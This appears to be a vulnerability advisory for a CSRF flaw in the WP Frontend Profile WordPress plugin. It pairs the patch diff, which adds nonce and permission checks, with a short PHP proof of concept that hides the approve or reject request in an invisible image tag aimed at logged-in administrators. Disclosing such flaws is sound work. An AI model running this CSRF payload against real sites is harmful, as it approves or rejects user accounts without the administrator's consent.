CVE-2026-1644: WP Frontend Profile <= 1.3.8 – Cross-Site Request Forgery to Unauthorized User Account Approval or Rejection (wp-front-end-profile)

--- a/wp-front-end-profile/freemius/includes/fs-essential-functions.php
+++ b/wp-front-end-profile/freemius/includes/fs-essential-functions.php
@@ -400,8 +400,8 @@
                 if (! $is_module_active || ! $is_sdk_exists) {
                     unset($fs_active_plugins->plugins[ $sdk_relative_path ]);

-                // No need to store the data since it will be stored in fs_update_sdk_newest_version()
-                // or explicitly with update_option().
+                    // No need to store the data since it will be stored in fs_update_sdk_newest_version()
+                    // or explicitly with update_option().
                 } else {
                     $newest_sdk_data = $data;
                     $newest_sdk_path = $sdk_relative_path;
--- a/wp-front-end-profile/functions/wpfep-functions.php
+++ b/wp-front-end-profile/functions/wpfep-functions.php
@@ -984,26 +984,50 @@
      */
     function update_action()
     {
-        if (! empty($_GET['action']) ? sanitize_text_field(wp_unslash($_GET['action'])) : '' && in_array(sanitize_text_field(wp_unslash($_GET['action'])), array( 'approve', 'rejected' )) && ! empty($_GET['new_role'] ? sanitize_text_field(wp_unslash($_GET['new_role'])) : '')) {
-            $request    = sanitize_text_field(wp_unslash($_GET['action']));
-            $request_id = intval($_GET['user']);
-            $user_data  = get_userdata($request_id);
-            if ('approve' == $request) {
-                update_user_meta($request_id, 'wpfep_user_status', $request);
-                $subject  = 'Approval notification';
-                $message  = 'Your account is approved by admin.' . "rnrn";
-                $message .= 'Now you can log in to your account.' . "rnrn";
-                $message .= 'Thank you' . "rnrn";
-                wp_mail($user_data->user_email, $subject, $message);
-            }
-            if ('rejected' == $request) {
-                update_user_meta($request_id, 'wpfep_user_status', $request);
-                $subject  = 'Denied notification';
-                $message  = 'Your account is denied by admin.' . "rnrn";
-                $message .= 'Now you cannot Log In to your account.' . "rnrn";
-                $message .= 'Thank you' . "rnrn";
-                wp_mail($user_data->user_email, $subject, $message);
-            }
+        // Ensure expected parameters exist
+        if ( empty($_GET['action']) || empty($_GET['user']) ) {
+            return;
+        }
+
+        $action = sanitize_text_field(wp_unslash($_GET['action']));
+        $user_id = intval(wp_unslash($_GET['user']));
+
+        // Only allow our two actions
+        if ( ! in_array($action, array('approve', 'rejected'), true) ) {
+            return;
+        }
+
+        // Verify nonce that is added via wp_nonce_url(..., 'new-user-approve') in the action links
+        if ( empty($_GET['_wpnonce']) || ! wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['_wpnonce'])), 'new-user-approve') ) {
+            wp_die('Nonce verification failed.');
+        }
+
+        // Ensure the current user has the capability to approve/reject users
+        if ( ! current_user_can('promote_users') ) {
+            wp_die('You do not have permission to perform this action.');
+        }
+
+        $user_data = get_userdata($user_id);
+        if ( ! $user_data ) {
+            return;
+        }
+
+        if ('approve' === $action) {
+            update_user_meta($user_id, 'wpfep_user_status', $action);
+            $subject  = 'Approval notification';
+            $message  = 'Your account is approved by admin.' . "rnrn";
+            $message .= 'Now you can log in to your account.' . "rnrn";
+            $message .= 'Thank you' . "rnrn";
+            wp_mail($user_data->user_email, $subject, $message);
+        }
+
+        if ('rejected' === $action) {
+            update_user_meta($user_id, 'wpfep_user_status', $action);
+            $subject  = 'Denied notification';
+            $message  = 'Your account is denied by admin.' . "rnrn";
+            $message .= 'Now you cannot Log In to your account.' . "rnrn";
+            $message .= 'Thank you' . "rnrn";
+            wp_mail($user_data->user_email, $subject, $message);
         }
     }
     add_action('load-users.php', 'update_action');
--- a/wp-front-end-profile/wp-frontend-profile.php
+++ b/wp-front-end-profile/wp-frontend-profile.php
@@ -3,7 +3,7 @@
  * Plugin Name: WP Frontend Profile
  * Plugin URI: https://wordpress.org/plugins/wp-front-end-profile/
  * Description: This plugin allows users to easily edit their profile information on the frontend rather than having to go into the dashboard to make changes to password, email address and other user meta data.
- * Version:     1.3.8
+ * Version:     1.3.9
  * @package wp-front-end-profile
  * Author:      Glowlogix
  * Author URI:  https://www.glowlogix.com
@@ -17,7 +17,7 @@
  * Main class for WP Frontend Profile.
  */
 if (! defined('WPFEP_VERSION')) {
-    define('WPFEP_VERSION', '1.3.8');
+    define('WPFEP_VERSION', '1.3.9');
 }
 if (! defined('WPFEP_PATH')) {
     define('WPFEP_PATH', plugin_dir_path(__FILE__));

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1644 - WP Frontend Profile <= 1.3.8 - Cross-Site Request Forgery to Unauthorized User Account Approval or Rejection
<?php
// Configuration: Set the target WordPress admin URL and the target user ID.
$target_url = 'http://vulnerable-site.com/wp-admin/users.php';
$target_user_id = 5; // The ID of the pending user to approve/reject
$action = 'approve'; // Can be 'approve' or 'rejected'

// Construct the malicious CSRF URL.
$csrf_url = $target_url . '?action=' . urlencode($action) . '&user=' . $target_user_id;

// Simulate how an attacker would deliver this payload.
// This script outputs an HTML page containing the exploit.
echo '<html><body>';
echo '<h2>Atomic Edge CVE-2026-1644 PoC - CSRF to User Approval</h2>';
echo '<p>If a logged-in administrator visits this page, the request below will execute.</p>';
echo '<p>Target URL: <code>' . htmlspecialchars($csrf_url) . '</code></p>';
// Using an invisible image tag to trigger a GET request.
echo '<img src="' . $csrf_url . '" style="display:none;" alt="CSRF payload" />';
echo '<br><p>Alternatively, an attacker could embed this URL in a link or an iframe.</p>';
echo '</body></html>';

// For direct testing via cURL (requires administrator cookies, not typically attacker-controlled).
// $ch = curl_init($csrf_url);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=...'); // Admin session cookie
// $response = curl_exec($ch);
// curl_close($ch);
// echo $response;
?>